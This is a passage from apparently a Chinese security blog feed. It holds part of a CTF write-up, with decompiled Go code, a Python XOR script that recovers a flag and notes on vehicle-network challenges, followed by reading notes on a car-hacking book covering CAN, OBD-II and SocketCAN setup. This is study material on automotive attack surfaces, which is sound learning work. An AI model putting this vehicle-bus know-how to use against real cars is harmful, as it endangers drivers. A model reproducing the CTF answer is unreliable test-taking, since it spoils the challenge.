</span></span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="w">  </span><span class="nx">v14</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="o">&amp;</span><span class="nx">RTYPE__ptr_string</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="w">  </span><span class="nx">v14</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">p_string</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="w">  </span><span class="nf">fmt_Fscanf</span><span class="p">(</span><span class="nx">go_itab__os_File_io_Reader</span><span class="p">,</span><span class="w"> </span><span class="nx">os_Stdin</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;%s&#34;</span><span class="p">,</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="nx">v14</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="w">  </span><span class="nx">v0</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">p_string</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="w">  </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="w"> </span><span class="nx">p_string</span><span class="o">-</span><span class="p">&gt;</span><span class="nx">len</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">32</span><span class="w"> </span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="w">  </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="w">    </span><span class="nx">v1</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="w">    </span><span class="nx">r1</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="w">    </span><span class="nx">r0</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="w">    </span><span class="nf">while</span><span class="w"> </span><span class="p">(</span><span class="w"> </span><span class="nx">v1</span><span class="w"> </span><span class="p">&lt;</span><span class="w"> </span><span class="mi">32</span><span class="w"> </span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="w">    </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="w">      </span><span class="nx">ptr</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">v0</span><span class="o">-</span><span class="p">&gt;</span><span class="nx">ptr</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="w">      </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="w"> </span><span class="nx">v1</span><span class="w"> </span><span class="o">&gt;=</span><span class="w"> </span><span class="nx">v0</span><span class="o">-</span><span class="p">&gt;</span><span class="nx">len</span><span class="w"> </span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="w">        </span><span class="nf">runtime_panicIndex</span><span class="p">(</span><span class="nx">v1</span><span class="p">,</span><span class="w"> </span><span class="nx">r0</span><span class="p">,</span><span class="w"> </span><span class="nx">v0</span><span class="o">-</span><span class="p">&gt;</span><span class="nx">len</span><span class="p">,</span><span class="w"> </span><span class="nx">ptr</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="w">      </span><span class="nx">v7</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">r1</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="w">      </span><span class="nx">v9</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">r0</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="w">      </span><span class="nx">v8</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">v1</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="w">      </span><span class="nx">v4</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nf">runtime_intstring</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="nx">unsigned</span><span class="w"> </span><span class="nx">__int8</span><span class="p">)((</span><span class="nx">v1</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="p">^</span><span class="w"> </span><span class="nx">ptr</span><span class="p">[</span><span class="nx">v1</span><span class="p">]));</span><span class="w">
</span></span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="w">      </span><span class="nx">v5</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nf">runtime_concatstring2</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="nx">v9</span><span class="p">,</span><span class="w"> </span><span class="nx">v7</span><span class="p">,</span><span class="w"> </span><span class="nx">v4</span><span class="p">.</span><span class="nx">_r0</span><span class="p">,</span><span class="w"> </span><span class="nx">v4</span><span class="p">.</span><span class="nx">_r1</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="w">      </span><span class="nx">v0</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">p_string</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">42</span><span class="cl"><span class="w">      </span><span class="nx">r1</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">v5</span><span class="p">.</span><span class="nx">_r1</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">43</span><span class="cl"><span class="w">      </span><span class="nx">r0</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">v5</span><span class="p">.</span><span class="nx">_r0</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">44</span><span class="cl"><span class="w">      </span><span class="nx">v1</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">v8</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">45</span><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="ln">46</span><span class="cl"><span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="w"> </span><span class="nx">r1</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">31</span><span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="p">(</span><span class="nx">unsigned</span><span class="w"> </span><span class="nx">__int8</span><span class="p">)</span><span class="nf">runtime_memequal</span><span class="p">(</span><span class="nx">r0</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;66a&lt;254?=??&gt;=&gt;k$u! r-&amp;t,/,(x~+z&#34;</span><span class="p">,</span><span class="w"> </span><span class="mi">31</span><span class="p">)</span><span class="w"> </span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="ln">47</span><span class="cl"><span class="w">    </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="ln">48</span><span class="cl"><span class="w">      </span><span class="nx">v12</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="o">&amp;</span><span class="nx">RTYPE_string</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">49</span><span class="cl"><span class="w">      </span><span class="nx">v12</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="o">&amp;</span><span class="nx">off_4DBE00</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">50</span><span class="cl"><span class="w">      </span><span class="nf">fmt_Fprintln</span><span class="p">(</span><span class="nx">go_itab__os_File_io_Writer</span><span class="p">,</span><span class="w"> </span><span class="nx">os_Stdout</span><span class="p">,</span><span class="w"> </span><span class="nx">v12</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">51</span><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="ln">52</span><span class="cl"><span class="w">    </span><span class="k">else</span><span class="w">
</span></span></span><span class="line"><span class="ln">53</span><span class="cl"><span class="w">    </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="ln">54</span><span class="cl"><span class="w">      </span><span class="nx">v11</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="o">&amp;</span><span class="nx">RTYPE_string</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">55</span><span class="cl"><span class="w">      </span><span class="nx">v11</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="o">&amp;</span><span class="nx">off_4DBE10</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">56</span><span class="cl"><span class="w">      </span><span class="nf">fmt_Fprintln</span><span class="p">(</span><span class="nx">go_itab__os_File_io_Writer</span><span class="p">,</span><span class="w"> </span><span class="nx">os_Stdout</span><span class="p">,</span><span class="w"> </span><span class="nx">v11</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">57</span><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="ln">58</span><span class="cl"><span class="w">  </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="ln">59</span><span class="cl"><span class="w">  </span><span class="k">else</span><span class="w">
</span></span></span><span class="line"><span class="ln">60</span><span class="cl"><span class="w">  </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="ln">61</span><span class="cl"><span class="w">    </span><span class="nx">v13</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="o">&amp;</span><span class="nx">RTYPE_string</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">62</span><span class="cl"><span class="w">    </span><span class="nx">v13</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="o">&amp;</span><span class="nx">off_4DBDF0</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">63</span><span class="cl"><span class="w">    </span><span class="nf">fmt_Fprintln</span><span class="p">(</span><span class="nx">go_itab__os_File_io_Writer</span><span class="p">,</span><span class="w"> </span><span class="nx">os_Stdout</span><span class="p">,</span><span class="w"> </span><span class="nx">v13</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="ln">64</span><span class="cl"><span class="w">  </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="ln">65</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">go</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>逻辑：</p>
<ul>
<li>程序从标准输入读取一个字符串</li>
<li>如果字符串长度为31，则对每个字符进行处理： <code>(i+1) ^ char[i]</code></li>
<li>然后将处理结果与字符串 <code>66a&lt;254?=??&gt;=&gt;k$u! r-&amp;t,/,(x~+z</code> 进行比较</li>
</ul>
<p>反过来就行，代码：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">s</span> <span class="o">=</span> <span class="s1">&#39;66a&lt;254?=??&gt;=&gt;k$u! r-&amp;t,/,(x~+z&#39;</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">result</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">s</span><span class="p">)):</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">    <span class="n">result</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">((</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span> <span class="o">^</span> <span class="nb">ord</span><span class="p">(</span><span class="n">s</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">result</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>输出：74b87337454200d4d33f80c4663dc5e</p>
<p>狼组的做法是，把字符串全部按ASCII转16进制。然后跟索引（01020304 ······）异或，也能得到答案。</p>
<h2 id="iov">IOV<a class="anchor" href="#iov">#</a></h2>
<h3 id="iov-vin交互">iov-vin交互<a class="anchor" href="#iov-vin交互">#</a></h3>
<p>jadx-gui打开，看到了源代码，它通过蓝牙协议发送VIN，首先java去除空格，然后native层的encrypt函数加密发送</p>
<p>流量包里是加密数据，过滤蓝牙协议用<code>btl2cap</code>，往下翻到有条流量带有data：<code>33303137323834663265643930333831343331316336386435313439626635633132</code></p>
<p>所以要去逆向native层的encrypt函数。</p>
<p>IDA看到是好像是RC4的改版，还没学到。</p>
<h3 id="iov-can-re">iov-CAN-RE<a class="anchor" href="#iov-can-re">#</a></h3>
<p>candump的流量，经典</p>
<p>0x733在跟0x73B交互，貌似多帧传输，</p>
<h2 id="小结">小结<a class="anchor" href="#小结">#</a></h2>
<p>web没容器，MISC少附件，Re还行，Pwn不会</p>
<p>给的另外4个附件，三个iov，一个AI对抗样本检测的，没有wp。</p>
<p>不像之前的VSEC或者其他人题目都是车相关的，国内的汽车安全CTF貌似传统CTF还是占了半壁江山。</p>
]]></content:encoded><h:img src="https://h4cker.zip/94d1dd/2025vcuhvudy.webp"/><enclosure url="https://h4cker.zip/94d1dd/2025vcuhvudy.webp"/><category>CAN</category><category>UPX</category><category>仿射密码</category></item><item><title>《汽车黑客大曝光》读书笔记</title><link>https://h4cker.zip/56107e/</link><pubDate>Mon, 06 Oct 2025 00:34:46 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/56107e/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>国庆期间断断续续读的。</p>
<p>开头放一份不知道从哪得到的思维导图，格式是MindManager的mmap格式，不过用Xmind导入也能打开：</p>
<p><a
  href="https://pan.baidu.com/s/1rH3Mtsx5lx-fn3TGv9G2XA?pwd=qd9v" rel="nofollow noopener noreferrer" target="_blank"
  >汽车黑客大曝光知识点思维导图.mmap<span style="user-select:none"> ↗</span></a
>
</p>
<h2 id="第1章-理解威胁模型">第1章 理解威胁模型<a class="anchor" href="#第1章-理解威胁模型">#</a></h2>
<p>没什么好说的，就是浏览了一下，增加了知识点。</p>
<p>看作者对车的攻击面做分类，然后再细分。</p>
<p>介绍了DREAD，CVSS体系。</p>
<h2 id="第2章-总线协议">第2章 总线协议<a class="anchor" href="#第2章-总线协议">#</a></h2>
<p>简单介绍了CAN总线，这里才了解到CAN总线末端需要120Ω的电阻，要跨接，就是CANH和CANL之间接一个。</p>
<p>OBD-II连接器就是一个平行梯形的串口，我实拍了一个，丰田的在油门下面：</p>
<p><img
  src="/56107e/wc_toyota_obdii.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1357" height="986"
/>
</p>
<p>这里只用到了4、5、6和14、15、16</p>
<p>CAN总线协议的数据包格式我在之前做CTF的时候有所了解，但显然没有书里的详细。这里给出了完整的帧格式，没看懂。</p>
<p>CAN协议是广播的，所有ECU的通信在一个总线上跑，所以能模拟其他元件，功能寻址是广播的，物理寻址的点对点仅是逻辑上的。</p>
<p>CAN协议是底层的，定义在物理层和数据链路层。缺点很多。ISO-TP定义了在CAN总线上发送数据包的格式，能做到大数据传输，分块传输，接收端重组等等，主要用在UDS诊断上。</p>
<p>后面介绍了大量协议，CANopen特点是有大量0x0仲裁id，好判断逆向比CAN简单</p>
<p>后面介绍了不少协议，比如面向多媒体设备的MOST、高速总线Flexray用于时间敏感的通信比如、线控刹车之类。成本也高。</p>
<p>MOST和Flexray实现成本太高，很少用，而且Flexray联盟解散了，后续车辆开始用汽车以太网，汽车以太网需要解决如何与以太网通信。</p>
<p>OBD-II需要制造商定义其余引脚的使用</p>
<h2 id="第3章-使用socketcan与车辆通信">第3章 使用SocketCAN与车辆通信<a class="anchor" href="#第3章-使用socketcan与车辆通信">#</a></h2>
<p>我在插入pcan后，输入<code>dmesg</code>能够看到can_dev被加载，输入<code>ifconfig can0</code>能看到相关接口参数，不过返回的大多信息都是通用默认值，都是零。这是正常的</p>
<p>高速CAN典型速率是500Kbps，低速是250Kbps或125Kbps</p>
<p>后续设置波特率之类都正常，但是我没有slcan，应该需要硬件，我只插pcan可能不行。</p>
<p>没有完整设备就设置虚拟接口</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">modprobe vcan</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>输入dmesg就能看到虚拟CAN接口加载的消息</p>
<p>添加设备，设置网卡，虚拟CAN不需要设置波特率</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">ip link add dev vcan0 <span class="nb">type</span> vcan
</span></span><span class="line"><span class="ln">2</span><span class="cl">ip link <span class="nb">set</span> up vcan0</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
